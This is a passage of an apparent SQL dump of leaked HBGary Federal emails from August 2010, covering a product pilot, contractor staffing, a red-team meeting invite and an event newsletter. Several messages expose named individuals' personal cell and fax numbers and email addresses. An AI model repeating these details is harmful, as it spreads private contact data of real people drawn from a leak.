day.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 18, 2010, at 9:00 AM, &quot;Christos, Brian N.&quot; &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:\r\n\r\nLet&#8217;s talk today if you have a minute.  Also, I heard your interviewed Rich Peacock.. An excellent addition if you can bring him over.\r\n\r\n\r\nOn 8/17/10 6:45 PM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt; &gt; wrote:\r\n\r\nOh and soc mgt.\r\n\r\nTks\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 17, 2010, at 3:24 PM, &quot;Christos, Brian N.&quot; &lt;Brian_N._Christos@oa.eop.gov &lt;mailto:Christos@oa.eop.gov&gt; &gt; wrote:\r\n\r\nMaria,\r\n\r\nOk.  I&#8217;ll work with Charles.  Besides, if we had you ship a box it would take at least a month to get here due to our shipment processes.  \r\n\r\n\r\nOn 8/17/10 3:21 PM, &quot;Maria Lucas&quot; &lt;maria@hbgary.com &lt;mailto:maria@hbgary.com&gt; &nbsp;&lt;mailto:maria@hbgary.com &lt;mailto:maria@hbgary.com&gt; &gt; &gt; wrote:\r\n\r\nHi Brian\r\n \r\nRich is onsite at a secure DOE lab without Internet Connectivity.... In the meantime, I will forward your email to Charles in support and he can guide you through the Server Setup because it will take time and you want the environment setup correctly or it won\'t work.\r\n \r\nThe alternative is for us to ship out a Server and move the POC to another day...\r\nWhat number should Charles call you on?  Charles is at extension 103.\r\n \r\nMaria\r\nOn Tue, Aug 17, 2010 at 12:16 PM, Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov &lt;mailto:Christos@oa.eop.gov&gt; &nbsp;&lt;mailto:Christos@oa.eop.gov &lt;mailto:Christos@oa.eop.gov&gt; &gt; &gt; wrote:\r\n\r\nRich, \r\n\r\nIn prep for the pilot kick off on Thursday, I am setting aside a server and re-loading it with a new OS.  I heard from TSA that there maybe a 64bit type bug in Active Defense (or some component of AD).  If so, should I just load the box with 2008 32bit?\r\n\r\nThanks,\r\n\r\nBrian \r\n\r\nOn 8/4/10 10:46 AM, &quot;Aaron barr&quot; &lt;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt; &nbsp;&lt;mailto:aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt; &gt;  &lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &nbsp;&lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; &gt; &gt; wrote:\r\n\r\nHere u go.\r\n\r\nSent from my iPad\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;ted@hbgary.com &lt;mailto:ted@hbgary.com&gt; &nbsp;&lt;mailto:ted@hbgary.com &lt;mailto:ted@hbgary.com&gt; &gt;  &lt;http://ted@hbgary.com &lt;http://ted@hbgary.com&gt; &nbsp;&lt;http://ted@hbgary.com &lt;http://ted@hbgary.com&gt; &gt; &gt; &quot; &lt;ted@hbgary.com &lt;mailto:ted@hbgary.com&gt; &nbsp;&lt;mailto:ted@hbgary.com &lt;mailto:ted@hbgary.com&gt; &gt;  &lt;http://ted@hbgary.com &lt;http://ted@hbgary.com&gt; &nbsp;&lt;http://ted@hbgary.com &lt;http://ted@hbgary.com&gt; &gt; &gt; &gt;\r\nTo: &quot;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt; &nbsp;&lt;mailto:aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt; &gt;  &lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &nbsp;&lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; &gt; &quot; &lt;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt; &nbsp;&lt;mailto:aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt; &gt;  &lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &nbsp;&lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; &gt; &gt;\r\nSubject: Active Defense 1.0 User Guide.pdf\r\n\r\nAttached: Active Defense 1.0 User Guide.pdf\r\nSent using Google Docs http://docs.google.com/ &lt;http://docs.google.com/&gt; &nbsp;&lt;http://docs.google.com/ &lt;http://docs.google.com/&gt; &gt;  &lt;http://docs.google.com/ &lt;http://docs.google.com/&gt; &nbsp;&lt;http://docs.google.com/ &lt;http://docs.google.com/&gt; &gt; &gt; \r\n\r\nUser manual\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15969,'aaron_hbgary_com/15969.html'),(10513,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008157.M873356P14101Q5368.eml','\"Christos, Brian N.\" <Brian_N._Christos@oa.eop.gov>','Re: Active Defense Pilot Question','Yep.  7195108478.AaronSent from my iPhoneOn Aug 18, 2010, at 9:10 AM, &quot;Christos, Brian N.&quot; &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:\r\n\r\nCan I call you from my cell this morning?  What’s your number?\r\n\r\n\r\nOn 8/18/10 9:02 AM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nSure when&#39;s a good time to call.  I am proposal writing all day.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 18, 2010, at 9:00 AM, &quot;Christos, Brian N.&quot; &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:\r\n\r\nLet’s talk today if you have a minute.  Also, I heard your interviewed Rich Peacock.. An excellent addition if you can bring him over.\r\n\r\n\r\n\r\nOn 8/17/10 6:45 PM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt; &gt; wrote:\r\n\r\n\r\nOh and soc mgt.\r\n\r\nTks\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 17, 2010, at 3:24 PM, &quot;Christos, Brian N.&quot; &lt;Brian_N._Christos@oa.eop.gov &lt;mailto:Christos@oa.eop.gov&gt; &gt; wrote:\r\n\r\n\r\nMaria,\r\n\r\nOk.  I’ll work with Charles.  Besides, if we had you ship a box it would take at least a month to get here due to our shipment processes.  \r\n\r\n\r\nOn 8/17/10 3:21 PM, &quot;Maria Lucas&quot; &lt;maria@hbgary.com &lt;mailto:maria@hbgary.com&gt;  &lt;mailto:maria@hbgary.com &lt;mailto:maria@hbgary.com&gt; &gt; &gt; wrote:\r\n\r\n\r\nHi Brian\r\n \r\nRich is onsite at a secure DOE lab without Internet Connectivity.... In the meantime, I will forward your email to Charles in support and he can guide you through the Server Setup because it will take time and you want the environment setup correctly or it won&#39;t work.\r\n\r\n \r\nThe alternative is for us to ship out a Server and move the POC to another day...\r\nWhat number should Charles call you on?  Charles is at extension 103.\r\n \r\nMaria\r\nOn Tue, Aug 17, 2010 at 12:16 PM, Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov &lt;mailto:Christos@oa.eop.gov&gt;  &lt;mailto:Christos@oa.eop.gov &lt;mailto:Christos@oa.eop.gov&gt; &gt; &gt; wrote:\r\n\r\n\r\nRich, \r\n\r\nIn prep for the pilot kick off on Thursday, I am setting aside a server and re-loading it with a new OS.  I heard from TSA that there maybe a 64bit type bug in Active Defense (or some component of AD).  If so, should I just load the box with 2008 32bit?\r\n\r\n\r\nThanks,\r\n\r\nBrian \r\n\r\nOn 8/4/10 10:46 AM, &quot;Aaron barr&quot; &lt;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt;  &lt;mailto:aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt; &gt;  &lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt;  &lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; &gt; &gt; wrote:\r\n\r\n\r\nHere u go.\r\n\r\nSent from my iPad\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;ted@hbgary.com &lt;mailto:ted@hbgary.com&gt;  &lt;mailto:ted@hbgary.com &lt;mailto:ted@hbgary.com&gt; &gt;  &lt;http://ted@hbgary.com &lt;http://ted@hbgary.com&gt;  &lt;http://ted@hbgary.com &lt;http://ted@hbgary.com&gt; &gt; &gt; &quot; &lt;ted@hbgary.com &lt;mailto:ted@hbgary.com&gt;  &lt;mailto:ted@hbgary.com &lt;mailto:ted@hbgary.com&gt; &gt;  &lt;http://ted@hbgary.com &lt;http://ted@hbgary.com&gt;  &lt;http://ted@hbgary.com &lt;http://ted@hbgary.com&gt; &gt; &gt; &gt;\r\n\r\nTo: &quot;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt;  &lt;mailto:aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt; &gt;  &lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt;  &lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; &gt; &quot; &lt;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt;  &lt;mailto:aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt; &gt;  &lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt;  &lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; &gt; &gt;\r\n\r\nSubject: Active Defense 1.0 User Guide.pdf\r\n\r\nAttached: Active Defense 1.0 User Guide.pdf\r\nSent using Google Docs http://docs.google.com/ &lt;http://docs.google.com/&gt;  &lt;http://docs.google.com/ &lt;http://docs.google.com/&gt; &gt;  &lt;http://docs.google.com/ &lt;http://docs.google.com/&gt;  &lt;http://docs.google.com/ &lt;http://docs.google.com/&gt; &gt; &gt; \r\n\r\n\r\nUser manual\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5723,'aaron_hbgary_com/5723.html'),(10514,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008158.M334305P14101Q5370.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','May have found someone else','stay tuned....where do we sit?\r\n\r\nI really want the opportunity to fill:\r\n\r\nIR Lead\r\nForensics Lead\r\nCyber Intel Lead\r\n\r\nand\r\n\r\nmaybe as a stretch SOC MGT?\r\n\r\nbut I am focused on the top 3 first.\r\n\r\nAaron',11043,'aaron_hbgary_com/11043.html'),(10515,'2010-08-18','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008158.M585802P14101Q5371.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: May have found someone else','Go for it.  NGC officially has those slots reserved, but so far they have only filled one - and the clock is ticking obviously.\r\n\r\nThanks!\r\n\r\n-John\r\n\r\nVP\r\nDigital Management, Inc.\r\n301-346-6749 cell\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 9:14 AM\r\nTo: John Fanguy\r\nSubject: May have found someone else\r\n\r\nstay tuned....where do we sit?\r\n\r\nI really want the opportunity to fill:\r\n\r\nIR Lead\r\nForensics Lead\r\nCyber Intel Lead\r\n\r\nand\r\n\r\nmaybe as a stretch SOC MGT?\r\n\r\nbut I am focused on the top 3 first.\r\n\r\nAaron\r\n',10135,'aaron_hbgary_com/10135.html'),(10516,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008158.M74593P14101Q5369.eml','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','Re: Fax number please','7208364208AaronSent from my iPhoneOn Aug 18, 2010, at 9:09 AM, Kirby Kintner &lt;kkintner@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nThanx\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11724,'aaron_hbgary_com/11724.html'),(10517,'2010-08-18','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008158.M809648P14101Q5372.eml','\"Sanderson, Robert\" <robert.sanderson@telos.com>,\"Aaron Barr\" <aaron@hbgary.com>','QC Check points for Sections 1.3.1, 1.3.2, & 1.3.3','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nQC Checkpoints - If performing the work, what checks would\r\nyou use to verify the work was done correctly.\r\n\r\n&nbsp;\r\n\r\n3-4 bullets per section\r\n\r\n&nbsp;\r\n\r\nThanx\r\n\r\n&nbsp;\r\n\r\nKJK\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9351,'aaron_hbgary_com/9351.html'),(10518,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008159.M105500P14101Q5373.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: May have found someone else','Ok which one.\r\n\r\nSent from my iPad\r\n\r\nOn Aug 18, 2010, at 9:21 AM, John Fanguy  wrote:\r\n\r\n> Go for it.  NGC officially has those slots reserved, but so far they have only filled one - and the clock is ticking obviously.\r\n>\r\n> Thanks!\r\n>\r\n> -John\r\n>\r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, August 18, 2010 9:14 AM\r\n> To: John Fanguy\r\n> Subject: May have found someone else\r\n>\r\n> stay tuned....where do we sit?\r\n>\r\n> I really want the opportunity to fill:\r\n>\r\n> IR Lead\r\n> Forensics Lead\r\n> Cyber Intel Lead\r\n>\r\n> and\r\n>\r\n> maybe as a stretch SOC MGT?\r\n>\r\n> but I am focused on the top 3 first.\r\n>\r\n> Aaron\r\n',2960,'aaron_hbgary_com/2960.html'),(10519,'2010-08-18','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008159.M320981P14101Q5374.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: May have found someone else','Forensics seems good, and would clearly fit in your overall staffing plan well? Fill as many as you want :)\r\n\r\n-John\r\n\r\nVP\r\nDigital Management, Inc.\r\n301-346-6749 cell\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 9:28 AM\r\nTo: John Fanguy\r\nSubject: Re: May have found someone else\r\n\r\nOk which one.\r\n\r\nSent from my iPad\r\n\r\nOn Aug 18, 2010, at 9:21 AM, John Fanguy  wrote:\r\n\r\n> Go for it.  NGC officially has those slots reserved, but so far they have only filled one - and the clock is ticking obviously.\r\n>\r\n> Thanks!\r\n>\r\n> -John\r\n>\r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, August 18, 2010 9:14 AM\r\n> To: John Fanguy\r\n> Subject: May have found someone else\r\n>\r\n> stay tuned....where do we sit?\r\n>\r\n> I really want the opportunity to fill:\r\n>\r\n> IR Lead\r\n> Forensics Lead\r\n> Cyber Intel Lead\r\n>\r\n> and\r\n>\r\n> maybe as a stretch SOC MGT?\r\n>\r\n> but I am focused on the top 3 first.\r\n>\r\n> Aaron\r\n',10918,'aaron_hbgary_com/10918.html'),(10520,'2010-08-18','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008159.M539309P14101Q5375.eml','aaron@hbgary.com,\"Friedman, Bruce L (IS)\" <bruce.friedman@ngc.com>,jwootton@palantir.com,\"Fertal, Martin J (TASC)\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Meaney, Paul A (IS)\" <Paul.Meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,John.Czaplewski@ngc.com,Kenneth.Brancik@ngc.com,\"Ken Bajaj\" <kbajaj@digitalmanagement.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"William E. Miller\" <wmiller@digitalmanagement.com>','TSA ITSSS Red Team','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Saturday, August 21, 2010 1:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).\r\nWhere: DMI Facility, Bethesda\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nAgenda:\r\n&nbsp;\r\n1PM – 1:15 Kick-off\r\n1:15 - 3:30 Review\r\n3:30 – 4&nbsp; Develop Top Ten list \r\n4PM - Dismiss\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',10088,'aaron_hbgary_com/10088.html'),(10521,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008159.M828947P14101Q5376.eml','\"Geneste, Philip [USA]\" <geneste_philip@bah.com>','Re: Introduction','Thank you. &nbsp;Likewise I enjoyed our conversation and look forward to hearing from you.AaronOn Aug 17, 2010, at 5:35 PM, Geneste, Philip [USA] wrote:\r\n\r\nAaron,\r\n\r\nPleasure talking with you today.\r\nAs discussed I will follow up with you in the next few days.\r\n\r\nCheers,\r\n\r\nPhil\r\n\r\n\r\nPhilip GenesteBooz | Allen |\r\n Hamilton\r\nAssociate\r\nInformation Security Engineer Sr.&nbsp;/ A&amp;R,&amp;&nbsp;I/RE\r\nCyber Team\r\n\r\n\r\n8283 Greensboro DriveMcLean, VA 22102Office: (703)&nbsp;377-4805Cell: (757) 303-9570\r\ngeneste_philip@bah.com\r\n\r\n\r\n\r\n',4119,'aaron_hbgary_com/4119.html'),(10522,'2010-08-18','\"Twitter\" <twitter-follow-federal=hbgary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297008160.M326380P14101Q5378.eml','federal@hbgary.com','`Ivan is now following you on Twitter!','\r\n\r\n  \r\n    \r\n      \r\n      \r\n      \r\n      \r\n        \r\n      \r\n      \r\n        \r\n  `Ivan (@Ivanlef0u) is now following your tweets (@HBGaryFed) on Twitter.\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      `Ivan\r\n      @Ivanlef0u\r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        306\r\n        565\r\n        761\r\n\r\n    \r\n    \r\n      tweets\r\n      following\r\n      followers\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n  You do not follow `Ivan.\r\n\r\nWhat\'s Next?\r\n\r\n  \r\n    &bull;\r\n    Find out more about `Ivan on @Ivanlef0u\'s profile page.\r\n  \r\n    &bull;\r\n    Send `Ivan an @ reply.\r\n  \r\n    &bull;\r\n    Send `Ivan a direct message.\r\n  \r\n    \r\n    On your mobile? Learn Twitter for Mobile.\r\n  \r\n  \r\n\r\n  If you believe `Ivan is engaging in abusive behavior on Twitter, you may report `Ivan for spam.\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n  If you\'d rather not receive follow notification emails from Twitter, you can unsubscribe immediately. To resubscribe or change other Twitter email preferences, visit your account settings to manage email notices.\r\n\r\n\r\n\r\n  Please do not reply to this message; it was sent from an unmonitored email address.  This message is a service email related to your use of Twitter.  For general inquiries or to request support with your Twitter account, please visit us at Twitter Support.\r\n\r\n\r\n\r\n\r\n      \r\n    \r\n  \r\n\r\n\r\n',1086,'aaron_hbgary_com/1086.html'),(10523,'2010-08-18','\"AFCEA DC Events\" <events@afceadc.org>','/aaron@hbgary.com/new/1297008160.M51197P14101Q5377.eml','aaron@hbgary.com','Army Panel with CIO/G6, RDECOM, AONS, PEO C3T, PEO EIS, ARFORCYBER & G3/5/7 kick off the 2010-2011 AFCEA DC Monthly Luncheon Series','\r\n\r\n\r\nAFCEA DC Monthly Luncheon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n        View \r\n          pics from\r\nCybersecurity\r\nSymposium\r\non July 8\r\n      \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          AFCEA \r\n            DC Home\r\n          News\r\n          Calendar\r\n          About \r\n            AFCEA DC\r\n        \r\n      \r\n  \r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          \r\n            \r\n              Call for Corporate Table \r\n                    Holders at\r\n                    AFCEA DC\'s Monthly Luncheon Series\r\n                  First \r\n                    Luncheon Features an Incredible Army Panel &amp;\r\n                    our Annual Awareness Effort for the NSC\r\n                  \r\n                    \r\n                       \r\n                         \r\n                            LTG Jeffrey\r\n                            Sorenson\r\n                          \r\n                        \r\n                            MG Nick\r\n                            Justice\r\n                          \r\n                        \r\n                          BG Lee\r\n                          Price\r\n                        \r\n                          Mr. Gary\r\n                          Winker\r\n                      \r\n                    \r\n                  \r\n                   AFCEA DC is once again kicking off the Luncheon \r\n                    Season with a bang! Sign-up your company to sponsor a table \r\n                    for the 2010-2011 Season, and earn year-long benefits while \r\n                    taking full advantage of the first luncheon in September - \r\n                    an incredible Army Panel plus annual awareness for the National \r\n                    Science Center (NSC). The networking is always terrific at \r\n                    this event, and the cause of STEM Education is an important \r\n                    one to our community, our Military, and our Country.\r\n                  Register \r\n                    for Your Corporate Table for the Year\r\n                  Register \r\n                    as an Individual to Attend the Luncheon\r\n                  \r\n                  1st Luncheon of the Season: \r\n                    \r\n                    Army Flag &amp; SES Panel\r\n                    Plus Awareness Luncheon for the NSC\r\n                    Sept 27 - Ritz Carlton, Pentagon City\r\n                  Luncheon Theme: \r\n                    Leveraging Commercial Technologies for the Army\'s Future\r\n                  Speakers:\r\n                \r\n                    LTG Jeffrey Sorenson, Army CIO/G6 - Moderator\r\n                  MG \r\n                    Nick Justice, Commanding General, RDECOM\r\n                  MG \r\n                    Mark Bowman, Director of Architecture, Operations, Networks \r\n                    and Space\r\n                  BG \r\n                    Lee Price, PEO C3T\r\n                  MG \r\n                    (P) Rhett Hernandez, Commander, ARFORCYBER (invited)\r\n                  Mr. \r\n                    Gary Winker, PEO EIS\r\n                  COL \r\n                    John Morrison, Director, LandWarNet/Battle Command G-3/5/7\r\n                \r\n                 CALL \r\n                  FOR CORPORATE TABLE HOLDERS\r\n                  AFCEA DC is kicking off its annual \r\n                    Monthly Luncheon Corporate Table Holder Drive with \r\n                    this first exciting Army program and many more such events \r\n                    to come..\r\n                  Register \r\n                    Online for your Company\'s sponsorship, \r\n                    and have a reserved table every month at our 9-month Luncheon \r\n                    Series (Starting with September 27, and running through \r\n                    June 2011, with a break in December for the Winter Gala). \r\n                    Signing-up online is your act of commitment for the \r\n                    table, and you can choose to pay instantly by credit card \r\n                    or manually by check.\r\n                  The AFCEA DC Luncheon Series is an outstanding \r\n                    networking opportunity for the defense, intelligence, and \r\n                    homeland security communities each month. If you are looking \r\n                    to understand trends in DoD Programs and Management, find \r\n                    industry Partners, or hire talented employees... You \r\n                    should be at AFCEA DC every month.\r\n                  We have another exceptional program/speaker \r\n                    line-up slated for this year, including:\r\n                  \r\n                     Army Panel &amp; National Science Center \r\n                      (NSC) Awareness luncheon - Sept 27\r\n                    Navy panel - Oct 22\r\n                    DHS panel - Nov 22\r\n                    DISA panel - Jan TBD\r\n                    Air Force panel - Feb TBD\r\n                    Intelligence Community panel - Mar TBD\r\n                    Health IT panel - Apr TBD\r\n                    Joint Service panel &amp; Spring Leadership \r\n                      Awards - May 20\r\n                    Annual scholarship luncheon - Jun TBD\r\n                  \r\n                  Benefits to AFCEA DC Season Corporate \r\n                    Table Holders include:\r\n                  \r\n                    Reserved table and seating for up to SIX \r\n                      of your employees at every monthly luncheon of the AFCEA \r\n                      DC Series for full table holders (Up to THREE seats for \r\n                      half-tables);\r\n                    A guaranteed seat to hear the most relevant \r\n                      military officers &amp; SES executives brief on the programs \r\n                      and opportunities they oversee;\r\n                    Government attendees (potential clients) \r\n                      seated at your table first (all government luncheon guests \r\n                      placed randomly by AFCEA DC, for ethical reasons);\r\n                    Your corporate logo featured prominently \r\n                      on the AFCEA DC website -- visited by thousands of potential \r\n                      clients and partners each year;\r\n                    Your corporate logo prominently displayed \r\n                      on your table at each monthly luncheon;\r\n                    Your support listed on a flier at every \r\n                      chair at the Luncheon -- all attendees will know you are \r\n                      AFCEA DC\'s partner;\r\n                    Your support listed on dozens of emails \r\n                      broadcast to thousands of DC area professionals - sent to \r\n                      the entire AFCEA DC database each month\r\n                    An invitation to purchase advance tickets \r\n                      to the AFCEA DC Winter Gala, Spring Gala, and other special \r\n                      events that may be planned this year. These events are almost \r\n                      always sold-out, so advance tickets are a must.\r\n                  \r\n                  Generous Companies who ALSO Sponsor \r\n                    the NSC Event, get added benefits:\r\n                  \r\n                    Your corporate logo on the NSC Event Website\r\n                    Your corporate logo on the NSC Event Program\r\n                    Your Corporate Name in all marketing emails \r\n                      and materials for the NSC Event\r\n                    Your Corporate Logo on the Screen running \r\n                      during the NSC Event\r\n                    Prominent Placement of your Table at the \r\n                      NSC Event, closer to the podium\r\n                    All of the benefits of the regular Corporate \r\n                      Table-Holders listed above \r\n                    Knowledge that you are supporting a very \r\n                      important cause, near and dear to the hearts of those in \r\n                      attendance: Keeping America Strong by ensuring \r\n                      that our citizens and future leaders are competitive in \r\n                      Math &amp; Science.\r\n                  \r\n                  Corp Table Sponsorships:\r\n                  \r\n                    $5,000 - Full Corp Table Only for \r\n                      the year (6 seats each month @ 9 lunches)\r\n                    $2,500 - Half Corp Table Only for \r\n                      the year (3 seats each month @ 9 lunches)\r\n                  \r\n                  NSC Sponsorships:\r\n                  \r\n                      $1,000 - Sponsorship of NSC\r\n                    $500 - Small Business Sponsorship \r\n                      of NSC\r\n                      (you must have less than 150 employees) \r\n                      \r\n                   Register \r\n                    for your Corp Table and NSC Sponsorship Online Now\r\n                    (Signing-up online for the table is your act of commitment; \r\n                    you can select to pay by credit card or check)\r\n                  Register \r\n                    as an Individual to Attend the Luncheon\r\n                    \r\n                  \r\n                  \r\n                FY2009-2010 \r\n                  AFCEA DC Corporate Table Holders:\r\n                  Be Sure to Join Your Colleagues who have \r\n                    been supporting AFCEA DC ! \r\n                \r\n                  \r\n                    Multiple \r\n                      Table Sponsors\r\n                  \r\n                  \r\n                    \r\n                      General Dynamics\r\n                      \r\n                    \r\n                    \r\n                      Northrop Grumman\r\n                  \r\n                  \r\n                    \r\n                       SAIC\r\n                        \r\n                      \r\n                    \r\n                  \r\n                  \r\n                    Full \r\n                      Table Sponsors\r\n                  \r\n                  \r\n                    \r\n                      Apptis\r\n                      BAE Systems\r\n                      Booz Allen Hamilton\r\n                      Brocade\r\n                      CACI\r\n                      CGI Federal\r\n                      Computer Sciences Corporation\r\n                      General Dynamics\r\n                      General Dynamics Information Technology\r\n                      Google\r\n                      GTSI\r\n                      Harris\r\n                      Hitachi Data Systems \r\n                      \r\n                    \r\n                    \r\n                      HP\r\n                      immixGroup\r\n                      Lockheed Martin\r\n                      ManTech International\r\n                      Microsoft\r\n                      Network Security Systems Plus\r\n                      Northrop Grumman\r\n                      Northrop Grumman\r\n                      Qwest Government Services\r\n                      SAIC\r\n                      SAIC\r\n                      SAIC \r\n                      Verizon Business\r\n                  \r\n                  \r\n                    Half-Table \r\n                      Sponsors\r\n                  \r\n                  \r\n                    \r\n                      \r\n                        Accenture\r\n                        Adobe Systems\r\n                        AT&amp;T\r\n                        Ball Aerospace &amp; Technologies\r\n                        Business Growth Associates\r\n                        CA\r\n                        Capgemini Government Solutions\r\n                        CapRock Government Solutions\r\n                        Ciena\r\n                        Cisco\r\n                        CPS Professional Services\r\n                        Deloitte\r\n                        Distributed Solutions\r\n                        DSA\r\n                        GovDelivery\r\n                        Grant Thornton\r\n                        IBM - Tivoli Federal\r\n                        Inmarsat Government Services\r\n                        ITT Corporation\r\n                        Juniper Networks\r\n                        Knightfork\r\n                        L-3 Enterprise IT Solutions\r\n                        Level 3 Communications\r\n                        \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                         LGS Innovations\r\n                          NetApp\r\n                          Nortel Government Solutions\r\n                          QinetiQ North America\r\n                          GuardianEdge\r\n                          Quest Software Public Sector\r\n                          Qwest Government Services\r\n                          Raytheon\r\n                          RightNow Technologies\r\n                          Riverbed Technology\r\n                          SAP Public Services\r\n                          Scitor Corporation\r\n                          Segovia\r\n                          Sprint\r\n                          SRA International\r\n                          SRI International\r\n                          Suss Consulting\r\n                          TechTeam Government Solutions\r\n                          Terremark Federal Group\r\n                          Truestone\r\n                          Trusted Computer Solutions\r\n                          Ultra Electronics-Criticom\r\n                          Vangent\r\n                          ZAI Solutions\r\n                        \r\n                    \r\n                  \r\n                \r\n                Shouldn\'t \r\n                  Your Company Be Listed This Year?\r\n                To \r\n                  reserve your Corporate Table for the remainder of the luncheon season,\r\n                  Sign-up \r\n                    online.\r\n                      \r\n                \r\n            \r\n          \r\n            \r\n            \r\n          \r\n          \r\n\r\n              \r\n                Early NSC Sponsors: \r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n\r\n\r\n  \r\n\r\n\r\n\r\n  \r\n  \r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  \r\n\r\n  \r\n\r\n\r\n\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                Early Multi-Table Sponsor: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              \r\n                \r\n                  \r\n                    \r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                  Early Full Table Sponsors: \r\n            \r\n            \r\n              